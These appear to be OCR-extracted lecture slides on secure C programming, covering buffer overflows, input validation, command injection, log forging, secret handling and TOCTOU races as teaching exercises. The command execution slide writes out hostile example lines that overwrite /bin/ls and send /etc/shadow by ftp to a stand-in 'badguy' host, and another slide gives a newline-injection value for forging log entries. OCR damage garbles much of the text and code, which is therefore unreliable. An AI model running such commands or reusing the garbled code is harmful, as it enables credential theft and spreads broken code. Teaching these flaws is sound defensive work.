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Goals of Attackers

Crash your system, or your application, or
corrupt/ delete your data

Steal your private info

Take control of your account, or your machine

Whose Problem?

OS writers?

Application programmers?
Users?

Administrators?

Law enf orcement ?

Why Worry?

There are lots of threats: viruses, worms,
phishing, botnets, denial of service, hacking, etc.

How long would it take for an unprotected,
unpat ched PCrunning an older ver sion of
Windows to be hacked?

The cost of prevention and repair is substantial

The number of (ad guysOsuccessf ully caught and
prosecuted is low !

System (Resour ce AllocationO

Reading any parameter from user and allocating
suf ficient resources based on that input is risky

D running out of resources can crash the application, or
crash or freeze the system

Examples of finite @esourcesO
D memory
Dfile descriptors
b stack space
Dthreads
DE

Categories of Problems

| . Programming bugs

| | . Failure to validate or restrict input tothe
program
i. Buffer overflow

I'I'l.I nadequat e protection of secret info

| V. False assumptions about the operating
environment




| . Program Bugs

Programmers normally worry about having bugs in
their programs that might cause program
execution to fail

D in many cases, at least the failure is unlikely

A new worry: malicious hackers looking f or bugs

D and trying to make your programs f ail

Most attacks on sof tware begin by violating the
progr ammer @ assumptions

Now you really need to be paranoid!

Ex.: Memory Freeing

void f() {
char * ptr = (char*)nalloc (SIZE);

if (abort)
free(ptr);

free(ptr);
return ;

}

Problems? Fixes?
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Ex.: Error Handling

result = doSonet hi ng();

if (result == ERROR) {
/* this should never happen
* so | Om not worried about it
*/

Problems? Fixes?
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Ex.: Memory Freeing

char* ptr = (char *) malloc (SIZE);
if (err) {
abort = 1;
free(ptr);
}
if (abort)
| ogError (OAborted, contents =", ptr);

Problems? Fixes?

Ex.: Memory Allocation

char * getBlock(int fd) {

char * buf = (char *) nalloc(S2);

if (!buf)
return NULL;

if (read(fd, buf, Sz) !'= S2)
return NULL;

el se
return buf;

Problems? Fixes?
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Ex.: Debug Mode

char passwd[ MAXPW.EN+1] ;
strncpy(passwd, argv[1], MAXPWLEN);
#i f def DEBUG

pweK = 1;
#el se

pwOK = checkPW passwd) ;
#endi f
if (pwoK)

E do sone protected stuff hereE

Problems? Fixes?
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Ex.: Copying Strings

#defi ne MAXLEN 1024
char pat hbuf [ MAXLEN] , i nput buf [ MAXLEN] ;
fread(i nputbuf, 1, MAXLEN, cfgfile);

strcpy(pat hbuf, i nput _buf);

Problems? Fixes?
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Ex.: Termination

int main(int argc, char** argv) {
char * ret = argv[O0];
while (*ret !'= 0=0
ret++;
printf("%\n", ++ret);

}

Problems? Fixes?
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| I . Failure to Validate User | nput

Easiest way a hacker can af fect the application is
through data provided to the program

Which is harder? Making code f oolproof, or
hacker pr oof ?
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Ex.: Return Values

char *itenNane;

while (argc > 1) {
i temNane = get Paraneter(argv[--argc]);
if (!strcnp(itemNanme, | MPORTANT_I TEM) {

}

Problems? Fixes?
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Ex.: I nteger Values

char * processNext(char * strm {
char buf[512];
short len = * (short*) strm
strm += si zeof (| en);
if (len <= 512) {
nmencpy(buf, strm len);
process(buf);
return strm + |en;
} else
return -1;

}
Problems?

Fixes?

Ex.: Resource Allocation

nresp = getnresp();
if (nresp > 0) {

response =
(char **) malloc(nresp * sizeof(char *));
for (i =0; i < nresp; i++)

response[i] = get_response_string();

}

Problems?
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Ex.: Command Execution

Programs can execute other programs: f or k(),
execv(), systen(), E

Examples

‘ system(Ogcc /tnp/ maliciouscode.c -0 /bin/lsO ‘

‘ system(Oft p badguy @i deout . com / et ¢/ shadowO) ‘

Danger s!
D privilege level of command execution is one issue
D unrestricted command execution is anot her
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Ex.: Command Execution (cont @)
char * home = ge'(EFIV("APPFmEn); ‘/_\
char * cnd =

(char *) malloc(strlen(hone)+strlen(lN TCVD));
if (cnd) {

strcpy(cnd, hone) ;

strcat (cnd, | Nl TCVD) ;

execl (cnd, NULL);

}

Problems? Fixes? Read environment variable

I f user can change environment variable, can
execute arbitrary code -

Ex.: Path Manipulations

char fnanme[200] = O usr/local/apfr/reports/ O
char rNane[ 100] ;

(voi d) scanf(®9s0 rNane);

(void) strcat(fnane, rnane);

(voi d) renove(fnane);

Problems? Fixes?

Ex.: Command Execution

int main(char* argc, char** argv) {
char cnd[ CMD_MAX] = "/usr/bin/cat ";
strcat(cnd, argv[1]);
systen(cnd) ;

Problems? Fixes?

If argv[1] contains an embedded QQ that
terminat es one command and begins anot her -
arbitrary code can be executed
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Ex.: Command Execution (cont @)

systen("cd /var/yp && make &> /dev/null");

Problems? Fixes?
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Logging

T —
Applications use structured logs to recordE

D startup configuration of application
Dimportant events

Derror conditions

Detc.

I nformation important for diagnosis of problems,
and system administration
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Ex.: Log Forging

char str[1000], errstr[2000];
res = scanf (O/099s0, &str);
if (res I=1)
Esone error code here, not inportantE
if ('valid(str)) {
(void) sprintf(errstr,
COFailed to parse string = %0, str);
(void) log(errstr);

}

Problems?
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Best Practices

Validate all inputs at the server; don® rely on the client
Use a unif orm, centralized validation engine
Use awhite list filter, instead of a black list filter

I dentif y special characters and escape them consistent ly
during input validation

I f the input is a URL, decode it inthe host system before
validation

When the input is a filename/ pat h, resolve the name in the
host OS during validation

I f you accept UTF-8 encoding, verify the input contains
legal UTF-8 sequences
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Ex.: Buf fer Problem

int main(int argc, char *argv[]) {
char passwd_ok = 0;
char passwd[ 8] ;
strcpy(passwd, argv[1]);
if (strcnp(passwd, "niklas")==0)
passwd_ok = 1;

if (passwd_ok) { ... }
}
Layout in memory:
passwd passwd_ok

[ ongpassv}or q1|
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Log Forging (cont @)

I f user enters string
twenty-one
the following entry is logged:
INFO Failed to parse val =twenty-one

However, if attacker enters string
twenty-one\nl NFO User | ogged i n=badguy
the following entry is logged:
INFO Failed to parse val =twenty-one

INFO User |ogged in=badguy
Attackers caninsert arbitrary log entries this way

Fixes?

['I.i. Buffer Overflows

Cdoes not automatically do bounds checking on
buffers

E.g., the following is legal:

void f() {
int a[10];
a[20] = 3;
}

Often (usually?), writing past the end of abuffer
causes the programto crash with a segment ation
fault (eventually)
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Risky C<string. h> Functions

strcpy

strcat

gets, e.0. [char buf[BUFSI ZE] ;

get s(buf);

Also: functions using f ormat specifier strings
- scanf, sscanf
- sprintf
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Anot her Example

char buffer[100];
strcpy(buffer, argv[1]);
func(buffer);

buffer func

Aarbitrarydoddx
XK~

Problems?
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Anot her Example

char buf[64], in[ MAX_SI ZE];

printf("Enter buffer contents:\n");
read(0, in, MAX SIZE-1);

printf(CEnter buffer size:\n");
scanf ("%d", &bytes);

nmencpy(buf, in, bytes);

User specifies the size of the copy

Problems?
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I'I'l. Protecting Secrets

I't can be difficult to protect Gecret Oinf ormation
in a program
D open source
D reverse engineering (disassembly) of binary code

Dtools that allow inspection of memory (even of running
processes)

What secrets need to be protected?
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Stack Attacks

When a function is calledE
D parameters are pushed on stack
D return address pushed on stack
D called function puts local variables on the stack

Memory layout

Locals Return address Parameters

arfbi trarygt uf { X

Problems?
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Some Fixes

1. Programmer replaces Qunsaf eOf unction calls by
saf e (bounds checking) counterpartsin
<stdlib.h>(eg.,strncat())

2. Use adifferent string library that provides
mor e protectionthan <string. h>

¥ e.g., adds code to track buffer size and check that
bounds not exceeded

¥ write one yourself ?
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Random Numbers

Applications depend on unpredict ability of random
numbers

D ex.: card dealing in poker

Standard random number generators are
predictable if E
D you know t he last value, and the random number
generation algorithm

Solution: use crypt ographically-secur e random
number generators

-/ dev/ random ciphers using secret keys, etc.
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GscrubbingOMemory

It& agood idea to remove sensitive data fromthe
program® memory as soon as possible

D harder than you t hink

voi d get Data(char *MFAddr) {
char pwd[ 64];
if (get PADFroniser (pwd, sizeof (pwd))) {
if (connect ToMai nframe( MFAddr, pwd)) {
E sone code here, uninportant E

}
menset (pwd, 0, sizeof(pwd));

GscrubbingOMemory (cont @)

cleartext_buffer = get_secret();

cleartext_buffer =
real | oc(cl eartext _buffer, 1024);

scrub_nenory(cl eartext_buffer, 1024);

Problems? Fixes?
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Don® Hardcode Passwords

char passwd[ 9] ;

(void) printf(CEnter password: O);

(voi d) scanf(8sO, passwd) ;

if (!strcnp(passwd, Chotdog®)) {
E do sonme protected stuff E

> strings a.exe
Ca@
$0 @

Ent er password:
hot dog
E
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Temp Files

if (tmpnan(fil enane)){
FILE* tnp = fopen(fil enane, "wo+");
E then wite something to this file E

fopen: OmO = (pen for reading and writing.
The file is created if it does not exist,
otherwise it is truncated.

Problems? Fixes?
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| V. QRaceOConditions

Programmer assumes steps (a) and (b) inthe code
are executed sequentially, wit hout interruption

Clever, persistent hacker finds a way to modify
somet hing about the system between execution
of (a) and (b)

One example: (a) Time of Check - (b) Time of Use
bugs (roCToUQ
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TOCTOU (O'ime of Check, Time of U seQ

If (laccess(file, WOK)) { (a)
f = fopen(file,"w+"); (b)
operate(f);

}
el se {
fprintf(stderr,
"Unable to open file %.\n",file);
}

Problems? Fixes?




Conclusions

Be paranoid (question all assumptions)!
No bugs!

Be inf ormed!

Prevent buf fer overflow!

Validat e user-provided input stringently!

Minimize secrets, and access to secrets!
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